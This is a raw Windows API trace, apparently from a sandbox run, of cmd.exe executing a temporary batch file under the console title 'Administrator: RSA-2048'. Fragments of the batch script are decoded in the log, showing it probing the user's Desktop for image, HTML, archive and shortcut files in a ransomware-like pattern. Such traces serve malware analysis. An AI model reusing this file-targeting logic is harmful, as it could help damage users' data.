RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.456] GetProcessHeap () returned 0x4e0000 [0038.456] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.456] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.456] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.456] GetProcessHeap () returned 0x4e0000 [0038.456] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.456] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.456] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.456] GetProcessHeap () returned 0x4e0000 [0038.456] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.456] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.456] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.456] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.456] GetProcessHeap () returned 0x4e0000 [0038.456] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.456] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.456] GetProcessHeap () returned 0x4e0000 [0038.457] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.457] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.457] GetProcessHeap () returned 0x4e0000 [0038.457] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.457] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.457] _tell (_FileHandle=3) returned 3938 [0038.457] _close (_FileHandle=3) returned 0 [0038.457] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2b [0038.458] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.458] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.458] GetLastError () returned 0x2 [0038.458] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.458] GetLastError () returned 0x6 [0038.458] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.458] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.458] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.458] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.458] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.458] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.459] SetConsoleInputExeNameW () returned 0x1 [0038.459] GetConsoleOutputCP () returned 0x1b5 [0038.459] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.459] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.459] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.459] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.459] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.459] SetFilePointer (in: hFile=0x74, lDistanceToMove=3938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0038.459] GetProcessHeap () returned 0x4e0000 [0038.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.459] GetProcessHeap () returned 0x4e0000 [0038.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.459] GetProcessHeap () returned 0x4e0000 [0038.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.459] GetProcessHeap () returned 0x4e0000 [0038.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.459] GetProcessHeap () returned 0x4e0000 [0038.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.459] GetProcessHeap () returned 0x4e0000 [0038.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.459] GetProcessHeap () returned 0x4e0000 [0038.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.459] GetProcessHeap () returned 0x4e0000 [0038.459] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.460] GetProcessHeap () returned 0x4e0000 [0038.460] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.460] GetProcessHeap () returned 0x4e0000 [0038.460] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0038.460] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16cb, lpOverlapped=0x0) returned 1 [0038.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=3940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0038.460] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n") returned 2 [0038.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.460] GetFileType (hFile=0x74) returned 0x1 [0038.460] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.460] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0038.460] GetProcessHeap () returned 0x4e0000 [0038.460] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.460] GetProcessHeap () returned 0x4e0000 [0038.460] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.460] _tell (_FileHandle=3) returned 3940 [0038.460] _close (_FileHandle=3) returned 0 [0038.460] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.461] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=3940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0038.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0038.461] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16c9, lpOverlapped=0x0) returned 1 [0038.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=3965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0038.461] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.png goto png\r\n\r\n") returned 25 [0038.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.461] GetFileType (hFile=0x74) returned 0x1 [0038.461] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.461] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0038.461] GetProcessHeap () returned 0x4e0000 [0038.461] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.461] GetProcessHeap () returned 0x4e0000 [0038.461] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.461] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.461] GetProcessHeap () returned 0x4e0000 [0038.461] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.461] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.462] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.462] GetProcessHeap () returned 0x4e0000 [0038.462] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.462] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.462] GetProcessHeap () returned 0x4e0000 [0038.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.462] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.462] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.462] GetProcessHeap () returned 0x4e0000 [0038.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.462] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.462] GetProcessHeap () returned 0x4e0000 [0038.462] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.462] GetProcessHeap () returned 0x4e0000 [0038.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.462] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.463] _tell (_FileHandle=3) returned 3965 [0038.463] _close (_FileHandle=3) returned 0 [0038.463] GetFullPathNameW (in: lpFileName="*.png", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", lpFilePart=0x41eea8*="*.png") returned 0x2b [0038.463] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.463] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4b58 [0038.463] FindClose (in: hFindFile=0x4f4b58 | out: hFindFile=0x4f4b58) returned 1 [0038.463] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0038.463] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0038.463] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f5940 [0038.464] GetProcessHeap () returned 0x4e0000 [0038.464] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5940) returned 0x12 [0038.464] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0038.464] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.464] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=3965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0038.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.464] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0038.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0038.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.464] GetFileType (hFile=0x74) returned 0x1 [0038.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0038.464] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=3967, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0038.464] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng") returned 2 [0038.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0038.464] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.464] GetFileType (hFile=0x74) returned 0x1 [0038.464] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0038.465] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=3992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0038.465] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n\r\n") returned 25 [0038.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0038.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.465] GetFileType (hFile=0x74) returned 0x1 [0038.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0038.465] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=3994, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0038.465] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n") returned 2 [0038.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0038.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.465] GetFileType (hFile=0x74) returned 0x1 [0038.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0038.465] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=4021, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0038.465] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.html goto html\r\n") returned 27 [0038.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.465] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0038.465] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.465] GetFileType (hFile=0x74) returned 0x1 [0038.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0038.466] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=4046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0038.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0038.466] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0038.466] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.466] GetFileType (hFile=0x74) returned 0x1 [0038.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0038.466] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=4071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0038.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n") returned 25 [0038.466] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0038.466] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.466] GetFileType (hFile=0x74) returned 0x1 [0038.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0038.466] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.466] SetFilePointer (in: hFile=0x74, lDistanceToMove=4099, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0038.466] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto l2\r\n") returned 28 [0038.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0038.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.467] GetFileType (hFile=0x74) returned 0x1 [0038.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0038.467] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=4127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0038.467] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto l2\r\n") returned 28 [0038.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0038.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.467] GetFileType (hFile=0x74) returned 0x1 [0038.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0038.467] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=4155, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0038.467] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto l2\r\n") returned 28 [0038.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0038.467] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.467] GetFileType (hFile=0x74) returned 0x1 [0038.467] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0038.467] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=4183, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0038.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto l2\r\n") returned 28 [0038.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0038.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.468] GetFileType (hFile=0x74) returned 0x1 [0038.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0038.468] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=4211, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0038.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto l2\r\n") returned 28 [0038.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 